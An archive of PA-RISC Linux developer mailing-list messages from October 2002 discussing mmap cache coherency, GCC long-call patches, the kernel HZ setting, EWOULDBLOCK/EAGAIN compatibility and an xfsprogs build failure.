Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 327FC4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 17:14:25 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B79B5CD83C; Wed, 23 Oct 2002 16:15:36 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0210240048490.1407-100000@gfrw1044.bocc.de>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16566

> While debugging cyrus21-imapd, i experienced pretty fishy behaviour
> of the skiplist database backend. It turned out that the 715 is affected
> by the mmap problem, as well.

as are c3k, a500, etc....

no one has managed to really track this down yet. i can insert a dcache
flush into the kernel to 'fix' this, but it is not the right place to be
doing the flush. 

my understanding of what's happening is that the open(2) and mmap()
creates two different "views" of the underlying page. when a write()
flushes the contents, only the open() view is flushd but not the mmap
view.

unfortunately i don't know nearly enough about vm to be able to track
this down and fix it properly :(

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Thu, 24 Oct 2002 07:44:40 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3DA3C54C00002A9E@ocpmta5.be.tiscali.com>
References: <200210231501.g9NF1sYK022972@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621854 15975 80.91.229.3 (22 Nov 2014 02:04:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:14 +0000 (UTC)
Cc: mszick@goquest.com, grundler@dsl2.external.hp.com,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 23:44:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9C2C4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 23:44:58 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 184anZ-0003Dz-00; Thu, 24 Oct 2002 07:44:49 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 24 Oct 2002 07:44:40 +0200
In-Reply-To: <200210231501.g9NF1sYK022972@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16567

>-- Original Message --
>Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console
on
>k-2.4.19-pa22
>To: jsoe0708@tiscali.be
>Date: Wed, 23 Oct 2002 11:01:54 -0400 (EDT)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: mszick@goquest.com, grundler@dsl2.external.hp.com, joel.soete@freebel.net,
>   parisc-linux@lists.parisc-linux.org
>
>
>> >Ah, something I have been working on ...
>> >
>> Is it in already in gcc-3.2 or gcc-3.3 (snapshot which I would I have
to
>> toolchain?)?
>
>Soon to be in 3.3.  I found a couple of more things yesterday in testing.
>It needs a lot of testing (hppa1, hppa2, hppa64, hpux, linux, pic, short
>and long calls).
>
Great, (I will wait).

Joel



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 varenet
Date: Thu, 24 Oct 2002 08:18:00 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20021024071800.GG603@sleepie.demon.co.uk>
References: <20021023164611.60FD7482F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621854 15977 80.91.229.3 (22 Nov 2014 02:04:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:14 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 01:19:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc2-hem11-4-cust120.bre.cable.ntl.com [213.107.176.120])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CDCD34834; Thu, 24 Oct 2002 01:19:20 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 400279E7F2; Thu, 24 Oct 2002 08:18:00 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20021023164611.60FD7482F@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16568

On Wed, Oct 23, 2002 at 10:46:11AM -0600, Thibaut Varene wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.5
> Changes by:	varenet	02/10/23 10:46:11
> 
> Modified files:
> 	include/asm-parisc: param.h 
> 
> Log message:
> Switched to HZ == 1000 for CONFIG_PA20.
> Patch submitted by Laurent Canet.

Don't know if this was simply a #define change, but if so...
Robert Love has been arguing lately that you can't just do that as
various userspace stuff is compiled with a knowledge of the kernel HZ
value for your specific arch and uses that in interpreting various
entries in /proc.  He had a patch that kept the userspace view
consistent.  That was 2.4 though; maybe 2.5 is better in this respect.

Richard



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: GOTO Masanori <gotom@debian.or.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: EWOULDBLOCK vs. EAGAIN
Date: Thu, 24 Oct 2002 18:56:09 +0900
Lines: 33
Approved: news@gmane.org
Message-ID: <80u1jcp3d2.wl@oris.opensource.jp>
References: <200210221534.JAA28679@udlkern.fc.hp.com>
	<20021022155435.GB5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416621855 15978 80.91.229.3 (22 Nov 2014 02:04:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:15 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 03:56:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oris.opensource.gr.jp (oris.opensource.jp [218.44.239.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC0AC4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 03:56:14 -0600 (MDT)
Original-Received: from oris.opensource.jp (oris.opensource.jp [218.44.239.73])
	by oris.opensource.gr.jp (Postfix) with ESMTP
	id 92A9DC33C1; Thu, 24 Oct 2002 18:56:09 +0900 (JST)
In-Reply-To: <20021022155435.GB5602@tausq.org>
User-Agent: Wanderlust/2.9.9 (Unchained Melody) SEMI/1.14.3 (Ushinoya)
 FLIM/1.14.3 (=?ISO-8859-4?Q?Unebigory=F2mae?=) APEL/10.3 Emacs/21.2
 (i386-debian-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16569

At Tue, 22 Oct 2002 08:54:35 -0700,
Randolph Chung wrote:
> In reference to a message from John Marvin, dated Oct 22:
> > OK, I should have checked the archives first. It looks like this issue
> > has already come up. In that case we fixed the app. But I'm not comfortable
> > with the fact that we are different from every other architecture here.
> 
> John, I was refering to the suggestion Carlos made that we can "fix up"
> the return value in the syscall return path in glibc. Looks like there
> is already precedence for this sort of thing, and that way we retain
> binary compatibility with both hppa-linux and potentially with hpux.

I wonder it's not important changing EWOULDBLOCK -> EAGAIN to keep
hpux (or old sysv) compatibility...  Now SusV3 says EWOULDBLOCK may be
same as EAGAIN, a conforming implementation may assign the same
values. Are there any reasons to retain this?

I don't know whether hpux binary can run on hppa-linux or not,
but if EWOULDBLOCK is not same as EAGAIN, serious problem is occured?
I think keeping compatibity to other linux is more important than
hpux binaries... (Well, I'm not hppa-linux user, so please tell me
these status/circumstance).

> > P.S. I know most of you don't care, but the broken app in this case is
> > telnetd. It drops connections if you blast too much to stdout.
> 
> heh, now that you mention it, this explains some things...:-)

So, telnetd should be fixed...?

Regards,
-- gotom


From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 varenet
Date: Thu, 24 Oct 2002 13:36:10 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <CAF57F6C-E744-11D6-BB9C-0030656F07A2@esiee.fr>
References: <20021024071800.GG603@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621855 15981 80.91.229.3 (22 Nov 2014 02:04:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	parisc-linux-cvs@lists.parisc-linux.org,
	Laurent Canet <canetl@esiee.fr>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 05:36:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A95564834; Thu, 24 Oct 2002 05:36:16 -0600 (MDT)
Original-Received: from esiee.fr ([212.186.189.113]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20021024113611.WPLK24360.viefep13-int.chello.at@esiee.fr>;
          Thu, 24 Oct 2002 13:36:11 +0200
In-Reply-To: <20021024071800.GG603@sleepie.demon.co.uk>
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16570

Le jeudi, 24 oct 2002, =E0 09:18 Europe/Paris, Richard Hirst a =E9crit :

> On Wed, Oct 23, 2002 at 10:46:11AM -0600, Thibaut Varene wrote:
>> CVSROOT:	/var/cvs
>> Module name:	linux-2.5
>> Changes by:	varenet	02/10/23 10:46:11
>>
>> Modified files:
>> 	include/asm-parisc: param.h
>>
>> Log message:
>> Switched to HZ =3D=3D 1000 for CONFIG_PA20.
>> Patch submitted by Laurent Canet.
>
> Don't know if this was simply a #define change, but if so...
> Robert Love has been arguing lately that you can't just do that as
> various userspace stuff is compiled with a knowledge of the kernel HZ
> value for your specific arch and uses that in interpreting various
> entries in /proc.  He had a patch that kept the userspace view
> consistent.  That was 2.4 though; maybe 2.5 is better in this respect.

Hm, I'm not sure we really broke something, we added the lines marked=20
'->':

#ifdef __KERNEL__
-># ifdef CONFIG_PA20
->#  define HZ            1000            /* Faster machines */
-># else
#  define HZ            100             /* Internal kernel timer=20
frequency */
-># endif
# define USER_HZ        100             /* .. some user interfaces are=20=

in "ticks
" */
# define CLOCKS_PER_SEC (USER_HZ)       /* like times() */
#endif

#ifndef HZ
#define HZ 100
#endif

As you can see, these defines are protected by a #ifdef __KERNEL__,=20
otherwise HZ is 100 in all cases. Since userspace stuff isn't supposed=20=

to define __KERNEL__ at compile time, HZ from a userspace point of view=20=

hasn't changed.

If you look at other archs (like i386, ppc64) they also have different=20=

HZ vs USER_HZ and *__KERNEL__* HZ.

In 2.4, there wasn't such #ifdef protection, so such change could have=20=

broken things.
In 2.5, I think this is quite safe IMHO.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=



From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Thu, 24 Oct 2002 12:23:28 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200210241623.g9OGNS9n025493@hiauly1.hia.nrc.ca>
References: <3DA3C54C00002A9E@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621855 15982 80.91.229.3 (22 Nov 2014 02:04:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:15 +0000 (UTC)
Cc: mszick@goquest.com, grundler@dsl2.external.hp.com,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 10:23:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 303E04834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 10:23:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9OGNU00025497;
	Thu, 24 Oct 2002 12:23:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9OGNS9n025493;
	Thu, 24 Oct 2002 12:23:28 -0400 (EDT)
In-Reply-To: <3DA3C54C00002A9E@ocpmta5.be.tiscali.com> from "jsoe0708@tiscali.be" at Oct 24, 2002 07:44:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16571

> >Soon to be in 3.3.  I found a couple of more things yesterday in testing.
> >It needs a lot of testing (hppa1, hppa2, hppa64, hpux, linux, pic, short
> >and long calls).
> >
> Great, (I will wait).

The "final" patch is here

<http://gcc.gnu.org/ml/gcc-patches/2002-10/msg01408.html>

and

the required patch to reload here

<http://gcc.gnu.org/ml/gcc-patches/2002-10/msg01409.html>.

These should apply cleanly to the current 3.3 cvs.

I think the main benefit under hppa-linux is the PA 2.0 fix.  If
you have applications where you need "-ffunction-sections" to build
or there are long call related problems (ie., you get assembler
errors about out of range branches), I would appreciate feedback
on how the new long call option works.  I have tested building gcc
with long calls and that works fine.

Currently, 3.3 is in a bug fix phase.  The only reported bug that
I have regarding long calls  or out of range branches was in proprietary
code.  So, if people know of others, let me know.

There needs to be some work done on the linker to handle long absolute
calls (non-pic code) and long pc-relative calls (pic code).  This will
shorten the long call sequences under hppa-linux, particularly for calls
within modules.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Thu, 24 Oct 2002 19:58:02 +0200
Organization: private
Lines: 29
Approved: news@gmane.org
Message-ID: <20021024175802.GA9490@dreamind.de>
References: <3DB5776100000362@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621856 15983 80.91.229.3 (22 Nov 2014 02:04:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 11:58:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from x.dreamin.de (IP-213157009071.dialin.heagmedianet.de [213.157.9.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 824704834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 11:58:19 -0600 (MDT)
Original-Received: from dreamind by x.dreamin.de with local (Exim 3.36 #1 (Debian))
	id 184mF8-0002Up-00; Thu, 24 Oct 2002 19:58:02 +0200
Content-Disposition: inline
In-Reply-To: <3DB5776100000362@ocpmta8.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.19-pa9-xfs)
X-Cool: http://dreamind.de
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16572

* jsoe0708@tiscali.be <jsoe0708@tiscali.be> [021023 09:30]:
> Hi Stephan,
> 
> As you do earlier, I build a xfs-kernel diff versus 2.4.19 vanilla kernel,
> apply it against 2.4.19-pa22 (with very small problem) and obtain a bootable
> (and operational) kernel.
Yup.

> Now I rebuild debian package of xfsprogs-2.3.5 (cvs form) and obtain tools
> binaries (without warning or error) but even mkfs -t xfs (mkfs.xfs) failed
> with this concise message: "mkfs.xfs: cannot reserve space [28 - No space
> left on device]".
> (I try to xfs_check which failed also with a lot of error messages).
Yea thats a problem, still in the Linux/Parisc kernel. It gives garbage with
BLKGETSIZE64. Simply look in the xfslibs directory where BLGKETSIZE64 is used
and comment that out. Thats a disgusting hack but it leads to a set of working
xfsprogs.

If you want I can make a patch for you, but this will take some time, since I
have the source not right by hand now.

bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Thu, 24 Oct 2002 11:15:41 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021024181540.GE5602@tausq.org>
References: <3DB5776100000362@ocpmta8.be.tiscali.com> <20021024175802.GA9490@dreamind.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621856 15984 80.91.229.3 (22 Nov 2014 02:04:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:16 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Stefan Pfetzing <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 12:11:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 029444834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 12:11:28 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0DA86CD83C; Thu, 24 Oct 2002 11:15:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20021024175802.GA9490@dreamind.de>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16573

> Yea thats a problem, still in the Linux/Parisc kernel. It gives garbage with
> BLKGETSIZE64. Simply look in the xfslibs directory where BLGKETSIZE64 is used
> and comment that out. Thats a disgusting hack but it leads to a set of working
> xfsprogs.

i thought i fixed this in the kernel recently (last month). If this is
still not working, please point out the kernel version you are using.

thanks
randolph


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Thu, 24 Oct 2002 20:17:35 +0200
Organization: private
Lines: 17
Approved: news@gmane.org
Message-ID: <20021024181735.GA10043@dreamind.de>
References: <3DB5776100000362@ocpmta8.be.tiscali.com> <20021024175802.GA9490@dreamind.de> <20021024181540.GE5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621856 15988 80.91.229.3 (22 Nov 2014 02:04:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:16 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 12:17:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
